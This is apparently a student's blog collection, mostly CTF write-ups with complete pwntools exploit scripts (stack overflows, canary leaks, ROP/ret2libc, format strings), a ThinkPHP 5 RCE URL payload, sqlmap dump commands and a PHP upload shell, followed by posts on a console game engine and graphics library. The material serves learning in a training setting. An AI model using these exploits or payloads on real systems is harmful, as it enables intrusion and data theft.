XCTF-Pwn-Advance

fogot

nc连接题目

nc

阅读文本,这个程序大概是一个检查邮箱格式是否合法的程序。

拖进ida分析

main

分两部分来看main函数,前半部分有数个函数指针,指向的是很多个只输出一条文本的函数。,接着用户的两次输入,可以看到有两处溢出,溢出点分别在33行和41行。继续看下半部分。

main2

有一段代码,解读一下就是在对我们第二次输入的邮箱地址进行逐个字符的分析,当找到‘@’时,就继续寻找‘.’,中间如果有没能找到的关键字符就执行不同的提示函数,前一段的数个函数指针指向的就是不同的提示函数。每完成一个要求v14就加1,最后调用不同的函数。

看一下栈

栈

我们输入的邮箱地址程序里又正好给了可以getflag的函数,所以我们的攻击思路就是,利用溢出漏洞覆盖某个函数指针指向的函数为目标函数,然后满足代码条件使它执行。

我选了v12函数指针,exp如下

exp

a@a.comm’最后会调用v12,后面的部分覆盖v12指向的函数。

Mary_Morton

连接题目看一下

nc

可以选择攻击方式,栈溢出或者格式化字符串,但是这道题真的是想考察这两个知识而已吗?

拖进ida分析

main

可以看出程序有canary保护

main函数就是让用户选择,然后调用不同的函数的,主要看sub_4008EB和sub_400960

sub_4008EB

4008eb

如题目所说,确实存在一个格式化字符串漏洞,再去看sub_400960

400960

同样也真的存在一个栈溢出漏洞,那我们的攻击思路就有了:

先利用格式化字符串漏洞得到canary的值,再利用栈溢出漏洞构造rop链调用flag函数。canary的位置,首先计算步长,也就是printf取参数指针到buf的距离,测试得出是6,再加上buf到v2的距离0x90-0x8=0x88(十进制17),所以17+6=23

exp如下

exp

花了我最长时间的地方居然是处理接收到的canary值,很多写法都莫名报错,最后这样写是可以的。

pwn-200

*这题用到pwntools的一个功能DynELF

nc连接只有一次输出一次输入,拖进ida分析

main

定义了很多变量,但是也没用到,调用了sub_8048484

8048484

很明显在line 6存在栈溢出漏洞,但是没有system函数,也没有shellcode,所以要用到DynELF。(libcSearch也是查找libc用的,但是我并没有用过)

exp如下

exp

在使用DynELF的功能前需要先设定一个dyn对象,在line 12,第一个参数指定leak地址用的函数,第二个参数是目标程序。

DynELF的lookup函数就是利用我们写的leak函数来循环爆破寻找system的地址,leak函数有一定的格式。

shellcode可以通过一段可用的bss段储存

bss

exp逻辑不复杂,但是要注意堆栈的恢复和一些细节。

Pwn-100

*这道题花了很长时间,主要花时间在想用DynELF做,到最后也没有写出来,还是用LibcSearcher解了。

nc

链接看一下,直接有输入,一直输一直输,要很长才会输出一个bye~,ida看一下

ida

主函数没东西,跟踪到40068E看一下

68e

声明了一个v1,调用40063D,注意传参传了一个200,继续看

63d

一个执行200次的循环,循环体是一个只读入1个字节的read,显然这里存在溢出。

exp:

exp

第16行为什么这样写,需要自己去调试出来。

LibcSearcher和Ropgadget真好用。

反应釜开关控制

有故事背景,还有多层的代码,感觉是个好玩的题,结果一看发现就是简单的栈溢出

exp

非常简单,看了官方wp发现这原来是一道盲打。emmm,果然是道好题。

pwn1

*因为期末导致一段时间没有做pwn了,拿这道题找找感觉

题目描述没有过多信息,看题。

sec

64位。

三个选项,1.储存,2.打印,3.退出

看main函数

main

s的大小是0x80个字节,read却可以读取0x100个字节,存在很明显的溢出。但是有canary保护所以我们首先要泄漏canary。之前利用过格式化字符串泄漏canary,这次要利用puts函数的特性来泄漏。

puts函数只有遇到空字节才会停止输出,即使是0a(换行)也不会停止。canary的第一个字节是空字节,所以puts不会把canary输出,我们只要溢出覆盖掉canary的第一个字节就可以把canary泄漏出来了。

s距离canary 0x88个字节,要覆盖掉canary的首位就构造一个0x89个字符的payload。

payload=0x85*'a'+'N0P3'

获得canary之后就可以进一步泄漏库函数地址计算offset了。

payload=0x84*'a'+'N0P3'+p64(canary)+'b'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)

小片段是通过ROPgadget找到的。

获得offset之后就可以按照一般的ret2libc方法get shell了。但是这里对payload的长度有限制(0x100),所以用one_gadget来解。

最后的payload

payload=0x84*'a'+'N0P3'+p64(canary)+'b'*0x8+p64(GetShell)

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding=utf-8
from pwn import*
context.log_level='debug'
res=remote('220.249.52.133',36024)
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
res.recvuntil('>> ')
payload=0x85*'a'+'N0P3'
res.send('1')
res.send(payload)
#res.recv()不知道为什么不需要接收
res.recvuntil('>> ')
res.send('2')
canary_raw=res.recvuntil('\n---')
canary=u64('\x00'+canary_raw[137:137+7])#得到canary(canary的高位被我们覆盖了,补一个)
print('Get Canary!')
#--------------------------------------------------------
#ROPgadget --binary babystack --only "pop|ret"|grep "rdi"
start_addr=0x400720
pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=0x400690
payload=0x84*'a'+'N0P3'+p64(canary)+'b'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
res.send('1')
res.send(payload)
res.recv()#需要接收一次空
res.recvuntil('>> ')
res.send('3')
puts_got=u64(res.recv(6).ljust(8,'\x00'))
print('Get Puts_Got!')
#--------------------------------------------------------
#One_gadget
shell= 0x45216
puts_libc=libc.symbols['puts']
offset=puts_got-puts_libc
GetShell=offset+shell
payload=0x84*'a'+'N0P3'+p64(canary)+'b'*0x8+p64(GetShell)
res.send('1')
res.send(payload)
#res.recv()不知道为什么不需要接收
res.recvuntil('>> ')
res.send('3')
res.interactive()

在ida的伪代码的36行有一个sub_400826函数,是puts的再封装,无额外代码。但是这个函数却存在“失效”的现象。理论上在exp每次发送完payload后都应该接收一次空,再接收主界面字符串。但是经过测试只有第二次payload发送后才需要。具体原因未知,麻烦大佬路过解释指点一下。

stack2

*终于遇到了必须动调的题目了

看一下程序的情况

32位的,并且有canary保护,估计又要绕过canary了。

程序是一个平均数计算器。

ida

3号更换数字功能没有对用户输入的位置进行检查,存在数组越界漏洞。这个漏洞意味着我们可以对从数组的首地址开始到低地址方向上的所有数据进行更改。

那么我们就可以直接绕过canary以“合法”的方式修改返回地址,构造rop。

在函数列表里有一个函数hackhere,直接开了bash。那么我们似乎只要调用这个函数就可以了。接下来就是最重要的找偏移,从数组首地址到返回地址的距离是多少。起初我是以ida静态分析的栈来算的,得到的是0x74。怎么都不对,后来看了其他师傅的wp发现原来程序实际运行时的偏移不一样。

所以我们要动态调试一下。

我在line 30下了断点,因为此处会向数组存储数据,第一次存储数据时的eax的值就是数组的首栈地址。

程序到达断点,输入一个9

看到高亮行正要向eax指向的栈地址放入数据,数据正是我们刚刚输入的9。

记录一下此时的eax ,0xFFEF2258。找到数组首地址后我们就要找函数的返回地址了。当程序执行ret的时候,esp一定是指向返回地址的。所以我们在主函数的return 0处下断点,选择5,退出程序。

此时esp指向0xFFEF22DC,大地址减去小地址就得到了正确偏移0x84。(这两个地址的寻找一定要在一次调试中找出来,因为栈地址是随机的)

算出了偏移我们就可以进行攻击了,但是直接调用hackhere函数并不可以,因为目标主机上并没有bash,所以我们要利用/bin/bash的后两文起一个sh,构造简单的rop。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
res=remote('220.249.52.133',30504)
context.log_level = 'debug'
res.recvuntil('have:\n')
res.sendline('1')
res.recv()
res.sendline('9')
def change(posite,num):
res.recvuntil('exit\n')
res.sendline('3')
res.recvuntil('which number to change:\n')
res.sendline(str(posite))
res.recvuntil('new number:\n')
res.sendline(str(num))
change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)
res.sendline('5')
res.interactive()

前四个change是调用system函数,后四个是传入参数”sh”。

虽然查到的保护机制并没有开启PIE,但是栈地址仍然是随机的。程序运行起来看到的才是真阿。

warmup

*简单的盲打

第一次认真做盲pwn,之前在比赛中尝试过但没有做出,相比之下这道题确实比较简单。

nc看一下

nc

给了我们一个地址,应该是执行这个函数就能get shell。

盲pwn,输了%d测试没有格式化字符串漏洞,估计就是栈溢出了。

暴破exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
Target=0x40060d
#context.log_level='debug'
def Attack(PaddingLen,bit):
try:
res=remote("220.249.52.133",39150)
res.recvuntil('>')
if bit==32:
payload='a'*PaddingLen+p32(Target)
else:
payload='b'*PaddingLen+p64(Target)
res.sendline(payload)
ret=res.recv()
if len(ret)>0:
print(ret)
else:
res.interactive()
except:
res.close()
print("Go on")
for i in range(100):
Attack(i,32)
Attack(i,64)
print("Finish")

每次攻击都会测试32位与64位。exp写的太烂,出flag也不会停下。

flag夹杂在中间。期间还返回过奇怪的“-Warm up-”字符串,由于没有程序不知为何。

welpwn

*这是一道很棒的pwn题,就如它的名字一样。

看一下保护机制

64位的程序。

读取了0x400字节到buf,没有溢出。继续看echo函数。

可以看到刚才我们输入到字符串被拷贝进了s2,拷贝结束后最后一位改成0。但是s2仅仅只有16字节长而已,显然存在溢出。当时误以为这是一个类似【stack2】的题,简单构造了一个rop链最后多加一个用于归零的字符。并不可以。后来发现原来在拷贝时遇到\x00时就会停止,可是我们两个地址之间必有\x00。也就是说我们最多只能执行ret到一个地址。怎么利用呢?

在这里下个断点,gdb看一下。

可以看到我们输入的字符串在fc0,经过拷贝到了fa0,两者间的距离是0x20。

知道了buf是紧邻返回地址的,我们就可以构造一个巧妙的rop链。大概的思路是:我们写好padding溢出后加上一个可以pop 0x20个字节的gadget(下面称为pop20)后面跟上正常的rop链。这样为什么可行呢?拷贝结束后s2只有从padding到pop20的payload,而buf是完整的。程序溢出后返回地址被覆盖成pop20,执行后紧邻的buf会被pop 0x20个字节,也就是从padding到pop20都被pop了,所以紧接着的后半段payload就可以正常执行了。

不得不说pwn真是太益智了。

这个pop20可以通过Ropgadget来找

第一个就正好。4*8=32(0x20)。就算没有找到也没关系,可以多个pop连在一起实现。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
from LibcSearcher import*
res=remote("220.249.52.133",59879)
context.log_level='debug'
elf=ELF('./pwn')
start=elf.symbols['_start']
write_plt=elf.plt['write']
write_got=elf.got['write']
clean_padding=0x40089c#pop 0x20byte
pop_rdi=0x4008A3
pop_rsi_r15=0x4008a1
payload='a'*0x10+'b'*0x8+p64(clean_padding)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(start)
res.recvuntil('RCTF\n')
res.sendline(payload)
write_got=res.recv(8)
write_got=u64(write_got)
print(hex(write_got))
Searcher=LibcSearcher('write',0x2b0)
offset=write_got-Searcher.dump("write")
system=Searcher.dump("system")+offset
binsh=Searcher.dump("str_bin_sh")+offset
res.recvuntil('RCTF\n')
payload='a'*0x10+'b'*0x8+p64(clean_padding)+p64(pop_rdi)+p64(binsh)+p64(system)
res.sendline(payload)
res.interactive()

这道题还有非常坑的一点,puts函数和printf函数失效,看来还是用write来泄漏地址最稳定。

*学到许多阿。pwn真是太益智了。

XCTF-Pwn新手区

int_overflow

nc链接一下题目。

连接

大概是先选择功能,再输入用户名,密码。一共有三次输入,这中间就可能存在漏洞。

拖进ida

ida

主函数中并没有明显的漏洞,跟踪到login中

login

login函数里也没有找到可能的漏洞,输入的密码储存进了buf,并传递给了check_passwd函数

check_passwd

在check_passwd函数里,变量v3声明为无符号整型,占8bit,即一个字节,用来储存s(刚才传入的buf)的长度。但是buf的长度是0x199,远大于v3的长度。8bit储存范围是0~255,由于无符号,超过255就会“循环”,256就与0相等。

line8执行了判断,要求v3的范围在3~8之间。但是我们使v3溢出,在259~264亦可。

测试一下

测试

成功了,注意到在判断密码成功后,字符串会被拷贝进dest里,那么可以开始构造payload了。

target

在左侧的函数列表中有一个what_is_this,执行后就能getflag。观察一下栈的情况

栈

所以payload,先’A’*0x14,填满dest和v3所占的空间,再’a’*4填满储存ebp的位置,然后就可以加上目标地址了。最后,要让payload的总长在259~264之间。

exp如下

exp

运行即得flag。

Cgpwn2

nc连接一下题目

nc

有两次输入,拖进ida看一下main函数

main

建立了三个缓冲区,调用了hello函数,进hello函数看一下

hello

有一段复杂的代码,暂时不知道是干什么的,下面是两次输入,第一次是对输入有限制的输入,第二次用的是危险的gets函数。

变量name

name

看函数列表

list

还有一个pwn函数,里面调用了system函数。

那么我们的思路就有了,把gets函数的返回地址覆盖为_system的地址,在输入名字的时候输入/bin/sh,让shellcode执行就可以了。

exp如下

exp

_shstr是shellcode的储存地址,p32(1)是调用_system时要覆盖的返回地址,随便写一个就可以。

运行即可Get Shell。

string

连接题目看一下题

nc

文本量巨大,能看出是个rpg游戏,开头有法师说会给予你帮助,你自己打不败恶龙,然后告诉了我们两个秘密。secret是一个数组,储存了看起来像地址的数据。暂时不知道有什么用。

拖进ida分析

main

在main函数可以看到v3被赋值给了v4,v3是malloc申请的一个8bit空间的地址,再根据下面的输出,可以推断出,v3就是secret。

再跟踪到sub_400D72

1

注意到23行存在格式化字符串漏洞。暂时还不知道利用它可以干嘛。返回然后进入sub_400CA6,传入的参数a1就是secret,也就是main函数里的v3。

2

在最后的if部分可以看到,使secret[0]和secret[1]两个地址指向的值相等就可以获得法师的帮助,v1在17行强制转换成了一个函数指针并执行指向的函数。

所以我们的攻击思路就是,利用格式化字符串漏洞把secret[0]值修改为85使if成立,然后输入shellcode就可以get shell了。

exp

exp

要覆盖的值的地址在payload发送前写入栈,然后利用漏洞修改这个地址的值。paylaod中的'7'是试验出的结果,前一次输入的地址被保存在了步长为7的位置。

本题要感谢不会修电脑师傅的指点

level3

直接拖进IDA分析

main

没什么东西,去看vulnerable_function

vf

第6行调用了read读取了0x100byte,但是buf只有0x88byte,存在栈溢出漏洞。但是并没有system函数可以利用,而是给了libc,所以是ret2libc。我们要从libc中载入system和/bin/sh,就要先获得它们的got地址。

攻击思路:先泄漏write函数(read函数亦可)的got地址,然后减去write函数在libc中的地址,就能得到offset(偏移),那么由于libc中的地址相对固定,就可以根据'libc地址+offset=got地址'算出system函数和/bin/sh的got地址。

有了这两个地址,就可以当普通的栈溢出做了。

完整exp如下

exp

需要注意的是,如果PIE保护开启,offset将是动态的,就不能通过计算一个函数的offset去推算其他函数。

此外,两次payload必须在同一次程序运行过程中完成,不能分成第一次运行获得地址,第二次运行执行栈溢出攻击。因为程序的每一次运行,外部函数在got表中的实际地址都是不同的,所以我们的第一个rop链中必须使程序返回到合适的位置,在上面的exp中,第一次write执行后返回到了main函数,以便可以执行第二个payload。

[此处是个人理解部分] 在rop链中,希望调用的外部函数地址,可以是plt表中的地址,也可以是got表中的实际地址,因为plt地址指向的数据就是这个函数在got表的实际地址。

本题要感谢Thriumph师傅的指点

CGfsb

这一题也是格式化字符串漏洞,但是比较简单,可以独立完成

直接ida看题

main

很直白,在23行存在格式化字符串漏洞,再看到下面的if条件,很明显是要我们利用漏洞修改pwnme的值为8.

看一下pwnme

pwnme

是全局变量,所以地址不变。

题目一共输入了两次,第一次输入在了buf缓冲区,猜测可能是要在这里输入目标地址。但是read限制读取10个字符,再看栈

栈

0x7E-10=0x75,正好在s变量前,所以不存在溢出,也无法利用格式化漏洞读取到。所以我们要在输入s中输入先输入地址,然后修改这个地址的值。

exp如下

exp

%10$n中的10是测试出来的offset。

32位的地址是32bit,也就是4个字节,经过测试,程序字符集可能是ascii或utf-8,所以4个字节就是4个字符。为了使pwnme的值为8,所以payload里多加4个a,这样最终一共输出8个字符,%10n就会把第10个位置的值赋值为8。

小总结

学Pwn七天,学到的东西没有很多,但是原理和小细节都弄清楚了,这些漏洞的高级运用方法还要在以后认真学习。

BJDCTF2nd

总结

BJDCTF2nd是北京工业大学的第二次新生赛。密码题比较基础,AK了,杂项解出了6题,都不难,Web解出两题,记录一下。

FAKE GOOGLE

拿到题目,界面如下

主页

随便输入搜索

搜索结果页面

直接看到回显,有可能存在xss,如果用了模板则可能有ssti

测试flask注入payload

payload测试,发现注入成功

结果

在目录中寻找flag.

Get flag.

flag

OLD HACKER

打开题目

主页

主页上没有可交互的地方,乍一看无从下手

注意到中间提示ThinkPhp5,可能是有关tp5的漏洞考察

找到tp5曾经有过一个rce漏洞,用payload测试

1
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

报错信息

根据信息发现版本5.023

用5.023的payload

payload

flag

最后调整命令get flag

在命令行上玩出花:InfantGameEngine

前言

InfantGameEngine,婴儿级游戏引擎,虽然它只能显示简单的游戏画面。但它可以支持你写非常复杂的游戏逻辑。

=======================================================

Tip:源码已经放在github上了,建议参照源码阅读~

项目地址:https://github.com/TOXICAKE/InfantGameEngine.git

觉得有趣的话记得给一颗星XD

开始

储存字符

显示在屏幕上的每一个字符都具有多个属性,所以可以用结构体来记录每一个字符。这样就引出了**实体(Entity)**这个概念,每一个字符都是Entity类的实例,称作一个实体,然后用链式结构关联每一个实体。这样只需要遍历就可以取到所有的实体,以及它们其中的数据。

刷新机制

每帧都刷新显示所有字符是不可能的,所以应该采用局部刷新的方法。假如一个实体向右移动一格,那么就是在右侧输出这个实体的字符,并在原来的位置上输出被遮挡的字符。局部刷新机制

碰撞机制

实体应该具有一个参数**碰撞(Collision)**,两个有碰撞实体彼此不能穿过,两个实体间如果有至少一方是无碰撞的则它们彼此可以穿过。这就是基本的碰撞机制。

简单演示一下碰撞机制

实体组

显然,我们不能总是让开发者以实体为单位去开发游戏,例如马里奥是32*32像素的,程序移动马里奥是以整个马里奥为单位去移动的,我们也应该向开发者提供以组为单位的开发方式。我选用了二级链表来实现,即实体组之间连接,每个节点又是新的实体链的头节点。实体组的数据结构

交付

为了使游戏显示效果尽可能的好,刷新应该在移动后进行,所以刷新应该交付给各个会产生实体位置移动的函数。

碰撞检查也是发生在移动过程中的,也应该交付给各个会产生实体位置移动的函数。

实体移动到新位置时,应该要把新位置上的实体保存下来(如果有)。但除了在移动时要保存,在创建新实体时也要保存。

基本功能

实体移动 En_Move

实体的移动是引擎最基本的功能,包括的内容很多,但是逻辑并不复杂。接受的参数应该是实体的编号(id),运动方向(direction),距离(distance)。

首先是检查对应方向上的可移动距离。如果移动的实体本身的碰撞属性是off,则不需要考虑与其他实体的碰撞问题,只用检查移动完是否在画布内即可。如果碰撞属性是on,则循环检查时就要同时考虑检查位置上的实体碰撞属性,如果同为on,则可移动距离就是到这个实体的距离。

计算出可移动距离,如果比distance大,则可以移动distance那么远,否则的话移动到最大可移动距离停下。实体移动演示

构成实体组 AddEnToGr

实例化一个实体组对象后,使用这个函数将一个实体加入到组中去,代码也很简单,就是普通的在实体链后面加一个节点而已。

实体组移动 Gr_Move

实体组的移动其实就是对每个实体进行实体移动而已,但实际上的代码逻辑要稍微复杂一点。

首先循环计算每一个组内实体的可移动距离,再求出其中的最小值。这个最小值就是这个实体组实际上可以移动的距离。实体组移动演示

但是,如果之间调用之前写好的实体移动函数则会出现刷新显示上的问题。

因为是顺序结构,所以实体组中的实体也是按序移动,顺序与每条AddEnToGr执行顺序一致,这样就导致如果显示位置在前(沿移动方向)的实体移动顺序排在后面,就会遮挡先前移动好的实体。如下图所示,按ABC顺序添加进组中的三个实体,向右移动一格,最后画面上只会剩下C。

bug

解决办法就是等所有实体移动完后再刷新遮挡的实体,最后刷新移动后的实体。

实体组旋转 Gr_Spin

旋转也应该是引擎提供的功能。开发者提供旋转中心和旋转方向,就可以直接以组为单位旋转。可以简单的分为几步来实现,计算所有实体旋转后应该在的位置,然后检查移动路径上是否有阻碍,如果有,则不能旋转。确定旋转后位置的算法,(我用象棋棋盘找到的,并不复杂)。在算法上,第一步是确定实体所在的象限,再在象限内判断实体在45度线的那半边。还有特殊的实体恰好在分界线上的情况。下图是我的演草纸,动手画图找到规律就可以了。

演草纸

这部分代码比较费神,实际上最后的代码应该可以优化,但是我已经没有心情去做了。

API的设置

我在开发好基本功能后就去写了小demo来测试,最后写了“七巧板”来做最终的测试,中间的api也是越加越多,除了实体的信息要有api来提供以外,总的实体数目,组的个数还有组内实体总数也都需要提供。还要可以多种方式查询,比如获得实体可以通过实体编号,也可以通过组和组内实体编号,还可以通过画布的坐标。

实际使用

它的实际使用效果很不错,因为我们在开发时提供的功能比较完善,没有过多的限制,并且是直接的api调用编程,比较灵活。

开发过程中最重要的是实体的管理,如果实体没有管理好,整个代码看起来就会相当糟糕。

实体就是“实际”存在的意思,他具体是什么由程序员的代码来决定。例如你可以在实体类中增加一个变量Key,程序员在设计游戏时就可以给key赋值,例如1代表构成主角的实体,2代表按钮,3代表门。

测试程序和测试源码都可以在github上找到。

=======================================================

后记

你大概不会真的动手去写一个,也可能会觉得它没什么用。我们是直接接触框架的一代,这些东西除了作为上学时的作业,几乎毫无用处,我们上面在讨论的东西,也是之前雅达利思考过的东西,他们当时的开发环境还要更为恶劣一些。

命令行也可以做出很有趣的游戏,画面并不是游戏的唯一要素。

大灾变:劫后余生

当然还有著名的生命游戏。

谢谢你花时间阅读这篇博客。:)

在评论区留个脚印吧~

i春秋 新春战疫WriteUp

这次公开赛并没有怎么花时间打,总共就做出两道web。(花时间也不会做)

以下是这两道题的wp

招聘系统

可以注册一个账号进入,会发现有一个页面需要管理员权限

在登录框处存在sql注入漏洞,单引号闭合后,用井号注释掉后面的语句,即可任意密码登陆管理员。

打开那个需要管理员的页面

想到此处可能存在sql注入

加单引号和井号后页面加载时间异常

很可能可以注入

抓个包,居然是get。

放进sqlmap跑一下

sqlmap -r flag.txt

找到变量key存在注入

爆个库,

sqlmap -r flag.txt --dbs

nzhaopin应该就是flag在的库

再暴个表

sqlmap -r flag.txt -D nzhaopin --tables

找到flag表

暴一下字段

sqlmap -r flag.txt -D nzhaopin -T flag --columns

看到flaaag字段

暴flaaag字段

sqlmap -r flag.txt -D nzhaopin -T flag -C "flaaag" --dump

Get flag.

本题手注wp可以参考 1ight师傅的wp

文件上传

先随意上传一个文件,抓包

把文件后缀改php,文件内容改成一段脚本,上传后访问上传到的位置。

发现可以执行任意代码。

看到当前位置后,向后访问

最后在这个目录下找到了flag

直接用cat命令读不到flag,好像flag文件本来就是空的。

运行readflag程序

Get flag.

C++,Windows,XzyGraphics图形库

[TOC]

基本内容

坐标:
左上角为原点,x轴向右延伸,y轴向下延伸,无负坐标。
使用GOTOXY函数来控制光标位置。

1
GOTOXY(1,1)//控制光标至控制台左上角

颜色:
下划线加颜色单词,例如_Red为红色。
下划线前加H代表高亮,H_Red为高亮红。
高亮灰H_Gray为白色。
所有的颜色单词可以在头文件中看到。

1
2
3
SETCOLOR(_Green,1,1)
//执行后接下来程序的输出颜色就是绿色了,
//后两个参数是颜色修改失败时报错信息的输出位置

光标:
光标的显示与隐藏可以使用GUANGBIAO函数来控制。

1
GUANGBIAO(0);//0为不显示,1为显示

输出:
封装了一个输出函数SAY

1
2
SAY(H_Green,4,5,"Hello World!");
//在(4,5)位置输出一个高亮的绿色Hello World!

绘制函数

ANYLINE函数是用来画横线的

1
ANYLINE(_Blue,2,3,5,"+",1);//这条语句将会在(2,3)的位置输出5次+,每次输出后向右移动1个单位。

VERTICALLINE函数是用来画竖线的

1
VERTICALLINE(_Yellow,4,5,7,"|");//从(4,5)开始向下输出7次 |。

DRAW_SQURE函数用来画方框

1
2
DRAW_SQURE(1,1,7,7,_Green,"+",1);
//很简单,看看变量名就知道了

绘制函数基本上还没有怎么写,以后会有更多方便的绘制函数。主要的内容在下面。

FORM类

FORM是一个可以生成选单的类

1
2
3
4
5
6
7
8
9
10
int selection = 0;
FORM HELP(3, 3, 80, 25, 2, 2);//实例化一个选单对象HELP
HELP.title = "Developer N0P3";//设置选单的标题
HELP.TitleColor = H_GreenBlue;//设置标题的颜色
HELP.SETOPTIONNAME(0, "键入限制函数 ENTER");//设置0号选项名字
HELP.SETOPTIONNAME(1, "选单类 FORM");//设置1号选项名字
HELP.SETOPTIONNAME(2, "绘制函数组");//设置2号选项名字
HELP.SETOPTIONNAME(3, "其他");//设置3号选项名字
selection = HELP.SELECTION(10, 0, 14);//展开选单并让用户选择
//只需要简单的几行就可以构造一个完整的选择菜单

实例化一个选单对象时,前四个参数指定了生成位置左上角横纵坐标和右下角横纵坐标,最后两个是横向选项个数和纵向选项个数。

自动生成的2x2选择菜单
//觉得丑(?)可以自定义颜色和符号

主要成员变量

字符串(string):
选单标题title,构成选单的字符FormStr
,构成选项的字符OptionStr.

整型 (int):

选单的左上角坐标x1,y1
选单的右下角坐标x2,y2
选单标题的颜色TitleColor
每行选项个数optionX
每列选项个数optionY

成员函数

选择函数SELECTION:
共接收三个整型参数:
选单外框颜色COLOR_form
选项的颜色COLOR_option
选项名的颜色COLOR_str

返回值为整型,返回的是选项的值。选项的值默认从0开始按从上到下,从左到右的顺序直至最后一个选项。

函数调用后会在控制台展开一个选单,wsad(小写)控制高亮显示的选项,按下回车则函数返回选项的值,esc键退出选择返回值 -1。

使用后的选单不会清理自己。

清空函数CLEAR:
不需要参数,调用后清理选单所在的位置
无返回值

设置值函数SETVALUE:
需要两个整型参数:
选项编号id
修改的值InValue
无返回值。

获得值函数GETVALUE:
提供选项编号id,返回选项的值。

设置选项名函数SETOPTIONNAME:
提供选项编号id和选项名InName,默认选项没有名字。

获得选项值函数GETOPTIONNAME:
提供选项编号id,返回选项的名字。

获得选项坐标函数GETOPTIONXY:
需要提供选项id和两个用于储存选项坐标的整型变量。

绘制函数DRAW:
同样需要三个整型参数:
选单外框颜色COLOR_form
选项的颜色COLOR_option
选项名的颜色COLOR_str
绘制函数会在屏幕上绘制选单。
无返回值

测试函数TEST:
这个函数旨在开发阶段帮助开发者调整合适的选单参数。

不需要参数。

执行后方框会集中在左上角,wasd和ijkl分别控制方框的左上角和右下角,如果发生诡异的显示状况,可能是右下角不再是右下角导致的。
建议在使用的时候先控制右下角远离左上角。

按下**[ENTER]预览生成效果,再按一次回到移动模式。按下[TAB]**键可以隐藏方框,再按一次显示方框。

输入限制函数ENTER

这个函数在写图形界面时非常实用。
如果使用cin接收用户输入的话,用户可以通过输入换行和空格破坏画面。
使用ENTER函数就可以限制用户的输入。

1
2
ENTER(H_Gray,5,7,10);
//指定颜色为白色,在(5,7)的位置输入,并最长为10个字符超过会闪红色。

但是并不能正确处理宽字节,也就无法输入中文。
后续的更新会解决这个问题。

SCROLL_LIST类

SCROLL_LIST是一个可以生成滚动信息栏的类

1
2
3
4
5
6
7
SCROLL_LIST TestList(5, 5, 40, 7);
TestList.title = "信息栏";
TestList.TitleColor = H_Yellow;
TestList.DRAW(H_Blue);
TestList.CREATERECORD(H_Green, "Hello World!");
TestList.CREATERECORD(H_GreenBlue, "[N0P3]:", H_Gray, "Hello World!", H_Green, " --OK");
//最后看起来很长的代码其实非常简单

滚动信息栏
//又觉得丑(?)还是可以自定义颜色和符号

滚动信息栏的使用设计和选单很不一样。

主要成员变量

字符串(string):
信息栏标题title
构成信息栏边框的字符Str

整型 (int):
信息栏左上角坐标x,y
选单标题的颜色TitleColor
信息栏的长度(每行最多显示的长度)StrLimit
信息栏的高度(最多显示多少行)MaxNum

成员函数

信息栏绘制函数DRAW:
提供一个颜色参数,在控制台打印出信息栏的外框
无返回值。

清空函数CLEAR:
不需要参数,调用后清理信息栏所在的位置
无返回值。

创造记录函数CREATERECORD
创造纪录函数的参数最多为六个,
分为三组,每组由颜色和字符串两个参数组成。
按顺序称为记录的第一部分,第二部分和第三部分。
上面截图的第一条记录只用到了一个部分。
第二条用到了三部分。
第一部分通常起提示的作用,所以后两个部分如果过长会自动换行并与第一部分对齐。
现在中文换行可能会出现乱码,后续的更新会解决这个问题。
换行演示
在实例化一个滚动信息栏对象后,
在程序的任何位置调用此函数就能立即在信息栏输出信息。信息过长会自动换行,超过显示的上限会滚动显示。

滚动函数ROLL
两个颜色参数分别指定信息栏外框的颜色和光标指针的颜色。
按ws来控制光标上下移动,光标到顶端或底部后继续向上或向下信息栏会开始滚动。
按下[ENTER]会返回光标所在的行数。行数从0开始向下递增。
按[ESC]返回-1;
播放函数DISPLAY
提供开始和结束的行数,信息栏就会显示这一段信息。播放不存在的信息会访问到非法内存
获得记录函数GETRECORD
提供行数返回一个RECORD对象。
直接对信息栏中的信息进行操作可能会导致访问非法内存等问题

END

XzyGraphics库只是我在大一时方便自己写程序的工具,分享出来帮助和我一样正在学习的人创造更好看的命令行界面。*(它用起来真的很简单!)*它的不足和缺点还有很多,我也会坚持继续更新。如果你有建议或问题,发送邮件至n0p3@nyist.edu.cn
感谢你花时间来阅读我的第一篇博客。:)

下载

XzyGraphics库